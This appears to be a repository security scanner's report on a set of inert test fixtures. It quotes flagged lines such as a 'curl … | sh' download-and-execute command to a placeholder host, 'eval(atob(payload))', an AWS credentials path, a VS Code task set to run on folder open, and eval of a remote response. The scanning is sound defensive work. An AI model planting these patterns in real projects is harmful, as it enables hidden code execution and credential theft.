No findings match the current filters.
Highest-priority finding: PKG-001 at package.json:1.
- Needs attention
- 1
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
1 total findings
0 high total
1 medium
0 low
0 block
1 review
0 harden
0 informational
129 B
0s
Findings
package.json:1
echo REPYY_INERT_LIFECYCLE
Why this was flagged and what to do
Why it matters
This rule identifies package lifecycle behavior that can affect repository trust or execution safety.
Applies to: package.json and supported dependency manifests
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Review this script before installing dependencies.
Files
-
package.json
1 findings · highest medium
Coverage
Complete · 3 files · 129 B
No enabled rule matched within the completed scan. This does not prove the repository is safe.
- Needs attention
- 0
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
0 total findings
0 high total
0 medium
0 low
0 block
0 review
0 harden
0 informational
114 B
0s
Findings
No enabled rule matched. This is not a guarantee that the repository is safe.
Coverage
Complete · 3 files · 114 B
Highest-priority finding: IMPORT-001 at postcss.config.cjs:2.
- Needs attention
- 1
- Critical priority
- 0
- High priority
- 1
- Files scanned
- 4
1 total findings
1 high total
0 medium
0 low
0 block
1 review
0 harden
0 informational
173 B
0s
Findings
postcss.config.cjs:2
require(markerPath);
Why this was flagged and what to do
Why it matters
This rule identifies dynamic import behavior that can affect repository trust or execution safety.
Applies to: *.js, *.cjs, *.mjs, *.jsx, *.ts, *.tsx, *.py, *.java, *.kt
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
Files
-
postcss.config.cjs
1 findings · highest high
Coverage
Complete · 4 files · 173 B
No enabled rule matched within the completed scan. This does not prove the repository is safe.
- Needs attention
- 0
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
0 total findings
0 high total
0 medium
0 low
0 block
0 review
0 harden
0 informational
88 B
0s
Findings
No enabled rule matched. This is not a guarantee that the repository is safe.
Coverage
Complete · 3 files · 88 B
Highest-priority finding: EXEC-001 at banner.png:1.
- Needs attention
- 2
- Critical priority
- 0
- High priority
- 1
- Files scanned
- 3
2 total findings
1 high total
1 medium
0 low
0 block
2 review
0 harden
0 informational
92 B
0s
Findings
banner.png:1
const marker = 'eval(atob(payload))';
Why this was flagged and what to do
Why it matters
This rule identifies dynamic execution behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
Frameworks and developer tools sometimes evaluate generated or sandboxed code.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
banner.png:1
const marker = 'eval(atob(payload))';
Why this was flagged and what to do
Why it matters
This rule identifies string obfuscation behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
Files
-
banner.png
2 findings · highest high
Coverage
Complete · 3 files · 92 B
No enabled rule matched within the completed scan. This does not prove the repository is safe.
- Needs attention
- 0
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
0 total findings
0 high total
0 medium
0 low
0 block
0 review
0 harden
0 informational
154 B
0s
Findings
No enabled rule matched. This is not a guarantee that the repository is safe.
Coverage
Complete · 3 files · 154 B
Highest-priority finding: IDE-001 at .vscode/tasks.json:1.
- Needs attention
- 2
- Critical priority
- 0
- High priority
- 1
- Files scanned
- 3
2 total findings
1 high total
1 medium
0 low
0 block
2 review
0 harden
0 informational
216 B
0s
Findings
.vscode/tasks.json:1
{"version": "2.0.0", "tasks": [{"label": "Inert fixture", "type": "process", "command": "REPYY_NONEXISTENT_INERT_MARKER", "runOptions": {"runOn": "folderOpen"}}…
Why this was flagged and what to do
Why it matters
This rule identifies editor auto execution behavior that can affect repository trust or execution safety.
Applies to: tasks.json, settings.json, devcontainer.json, *.code-workspace, *.xml
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Do not run the repository. Verify the source and intent in an isolated environment.
.vscode/tasks.json:1
{"version": "2.0.0", "tasks": [{"label": "Inert fixture", "type": "process", "command": "REPYY_NONEXISTENT_INERT_MARKER", "runOptions": {"runOn": "folderOpen"}}…
Why this was flagged and what to do
Why it matters
This rule identifies editor command behavior that can affect repository trust or execution safety.
Applies to: tasks.json, launch.json
Common legitimate use
Workspace tasks and debugger configurations commonly invoke reviewed project tools.
Recommended action
Inspect the task command, arguments, referenced scripts, and debugger configuration before running it.
Files
-
.vscode/tasks.json
2 findings · highest high
Coverage
Complete · 3 files · 216 B
Highest-priority finding: IDE-005 at .vscode/tasks.json:1.
- Needs attention
- 1
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
1 total findings
0 high total
1 medium
0 low
0 block
1 review
0 harden
0 informational
177 B
0s
Findings
.vscode/tasks.json:1
{"version": "2.0.0", "tasks": [{"label": "Manual marker", "type": "process", "command": "REPYY_NONEXISTENT_INERT_MARKER"}]}
Why this was flagged and what to do
Why it matters
This rule identifies editor command behavior that can affect repository trust or execution safety.
Applies to: tasks.json, launch.json
Common legitimate use
Workspace tasks and debugger configurations commonly invoke reviewed project tools.
Recommended action
Inspect the task command, arguments, referenced scripts, and debugger configuration before running it.
Files
-
.vscode/tasks.json
1 findings · highest medium
Coverage
Complete · 3 files · 177 B
Highest-priority finding: GITHOOK-001 at .git/hooks/pre-commit:2.
- Needs attention
- 1
- Critical priority
- 0
- High priority
- 1
- Files scanned
- 3
2 total findings
1 high total
0 medium
1 low
0 block
1 review
0 harden
1 informational
122 B
0s
Findings
.git/hooks/pre-commit:2
# Inert pre-commit fixture
Why this was flagged and what to do
Why it matters
This rule identifies git hook behavior that can affect repository trust or execution safety.
Applies to: config, *.hook, pre-commit, post-checkout, post-merge, post-rewrite
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
.git/hooks/pre-commit
executable permission bit
Why this was flagged and what to do
Why it matters
This rule identifies executable file behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Review whether this file needs to be executable.
Files
-
.git/hooks/pre-commit
2 findings · highest high
Coverage
Complete · 3 files · 122 B
No enabled rule matched within the completed scan. This does not prove the repository is safe.
- Needs attention
- 0
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 2
0 total findings
0 high total
0 medium
0 low
0 block
0 review
0 harden
0 informational
54 B
0s
Findings
No enabled rule matched. This is not a guarantee that the repository is safe.
Coverage
Complete · 2 files · 54 B
Highest-priority finding: CHAIN-001 at marker.js:1.
- Needs attention
- 2
- Critical priority
- 1
- High priority
- 0
- Files scanned
- 3
3 total findings
0 high total
2 medium
0 low
1 block
1 review
0 harden
1 informational
133 B
0s
Findings
marker.js:1
const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';
Why this was flagged and what to do
Why it matters
This rule identifies download execute behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Do not run the repository. Verify the source and intent in an isolated environment.
marker.js:1
const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';
Why this was flagged and what to do
Why it matters
This rule identifies string obfuscation behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
marker.js:1
const marker = 'eval(atob(payload)); curl https://fixture.invalid/inert | sh';
Why this was flagged and what to do
Why it matters
This rule identifies remote fetch behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
Installers and update tools may retrieve content from reviewed, pinned sources.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
Files
-
marker.js
3 findings · highest critical
Coverage
Complete · 3 files · 133 B
No enabled rule matched within the completed scan. This does not prove the repository is safe.
- Needs attention
- 0
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
0 total findings
0 high total
0 medium
0 low
0 block
0 review
0 harden
0 informational
94 B
0s
Findings
No enabled rule matched. This is not a guarantee that the repository is safe.
Coverage
Complete · 3 files · 94 B
Highest-priority finding: CRED-001 at marker.js:1.
- Needs attention
- 1
- Critical priority
- 0
- High priority
- 1
- Files scanned
- 3
1 total findings
1 high total
0 medium
0 low
0 block
1 review
0 harden
0 informational
106 B
0s
Findings
marker.js:1
const marker = '/REPYY_FAKE_HOME/.aws/credentials';
Why this was flagged and what to do
Why it matters
This rule identifies credential harvesting behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Do not run the repository. Verify the source and intent in an isolated environment.
Files
-
marker.js
1 findings · highest high
Coverage
Complete · 3 files · 106 B
Highest-priority finding: ENV-001 at marker.js:1.
- Needs attention
- 0
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
1 total findings
0 high total
1 medium
0 low
0 block
0 review
0 harden
1 informational
89 B
0s
Findings
marker.js:1
const mode = process.env.NODE_ENV;
Why this was flagged and what to do
Why it matters
This rule identifies environment access behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
Applications commonly read explicitly named configuration variables.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
Files
-
marker.js
1 findings · highest medium
Coverage
Complete · 3 files · 89 B
Highest-priority finding: DOCKER-001 at compose.yaml:5.
- Needs attention
- 1
- Critical priority
- 0
- High priority
- 1
- Files scanned
- 3
1 total findings
1 high total
0 medium
0 low
0 block
1 review
0 harden
0 informational
191 B
0s
Findings
compose.yaml:5
- [REDACTED]
Why this was flagged and what to do
Why it matters
This rule identifies container risk behavior that can affect repository trust or execution safety.
Applies to: Dockerfile, Dockerfile.*, docker-compose*.yml, docker-compose*.yaml, compose*.yml, compose*.yaml
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
Files
-
compose.yaml
1 findings · highest high
Coverage
Complete · 3 files · 191 B
No enabled rule matched within the completed scan. This does not prove the repository is safe.
- Needs attention
- 0
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
0 total findings
0 high total
0 medium
0 low
0 block
0 review
0 harden
0 informational
162 B
0s
Findings
No enabled rule matched. This is not a guarantee that the repository is safe.
Coverage
Complete · 3 files · 162 B
Highest-priority finding: IOC-PKG-GHSA-rqwx-v86m-wwff at package.json:1.
- Needs attention
- 1
- Critical priority
- 0
- High priority
- 1
- Files scanned
- 3
1 total findings
1 high total
0 medium
0 low
0 block
1 review
0 harden
0 informational
110 B
0s
Findings
package.json:1
process-log 1.0.0
Why this was flagged and what to do
Why it matters
This rule identifies known malicious package behavior that can affect repository trust or execution safety.
Applies to: package.json and supported dependency manifests
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Do not install dependencies. Review the source advisory and resolved lockfile before proceeding: https://github.com/advisories/GHSA-rqwx-v86m-wwff
Files
-
package.json
1 findings · highest high
Coverage
Complete · 3 files · 110 B
No enabled rule matched within the completed scan. This does not prove the repository is safe.
- Needs attention
- 0
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
0 total findings
0 high total
0 medium
0 low
0 block
0 review
0 harden
0 informational
113 B
0s
Findings
No enabled rule matched. This is not a guarantee that the repository is safe.
Coverage
Complete · 3 files · 113 B
Highest-priority finding: FLOW-001 at loader.mjs:1.
- Needs attention
- 2
- Critical priority
- 1
- High priority
- 1
- Files scanned
- 3
2 total findings
1 high total
0 medium
0 low
1 block
1 review
0 harden
0 informational
176 B
0s
Findings
Why this was flagged and what to do
Why it matters
This rule identifies remote response execution behavior that can affect repository trust or execution safety.
Applies to: *.js, *.cjs, *.mjs, *.jsx, *.ts, *.tsx
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Do not execute remote response data. Review both the request and execution path.
loader.mjs:1
async function unusedExample() { const response = await [REDACTED] eval(response.data); }
Why this was flagged and what to do
Why it matters
This rule identifies dynamic execution behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
Frameworks and developer tools sometimes evaluate generated or sandboxed code.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
Files
-
loader.mjs
2 findings · highest critical
Coverage
Complete · 3 files · 176 B
No enabled rule matched within the completed scan. This does not prove the repository is safe.
- Needs attention
- 0
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
0 total findings
0 high total
0 medium
0 low
0 block
0 review
0 harden
0 informational
177 B
0s
Findings
No enabled rule matched. This is not a guarantee that the repository is safe.
Coverage
Complete · 3 files · 177 B
Highest-priority finding: DECODE-001 at marker.js:1.
- Needs attention
- 2
- Critical priority
- 0
- High priority
- 1
- Files scanned
- 3
2 total findings
1 high total
1 medium
0 low
0 block
2 review
0 harden
0 informational
131 B
0s
Findings
Contributing rules: CRED-001
Why this was flagged and what to do
Why it matters
This rule identifies decoded indicator behavior that can affect repository trust or execution safety.
Applies to: *.js, *.cjs, *.mjs, *.jsx, *.ts, *.tsx
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Review the source literal and its use without executing it.
marker.js:1
const marker = [REDACTED]
Why this was flagged and what to do
Why it matters
This rule identifies string obfuscation behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
Files
-
marker.js
2 findings · highest high
Coverage
Complete · 3 files · 131 B
Highest-priority finding: OBFS-002 at marker.js:1.
- Needs attention
- 1
- Critical priority
- 0
- High priority
- 0
- Files scanned
- 3
1 total findings
0 high total
1 medium
0 low
0 block
1 review
0 harden
0 informational
110 B
0s
Findings
marker.js:1
const marker = String.fromCharCode(72,101,108,108,111);
Why this was flagged and what to do
Why it matters
This rule identifies string obfuscation behavior that can affect repository trust or execution safety.
Applies to: **
Common legitimate use
The behavior may be legitimate when its inputs, destination, and execution context are understood.
Recommended action
Inspect the surrounding code and remove the behavior if it is not essential.
Files
-
marker.js
1 findings · highest medium
Coverage
Complete · 3 files · 110 B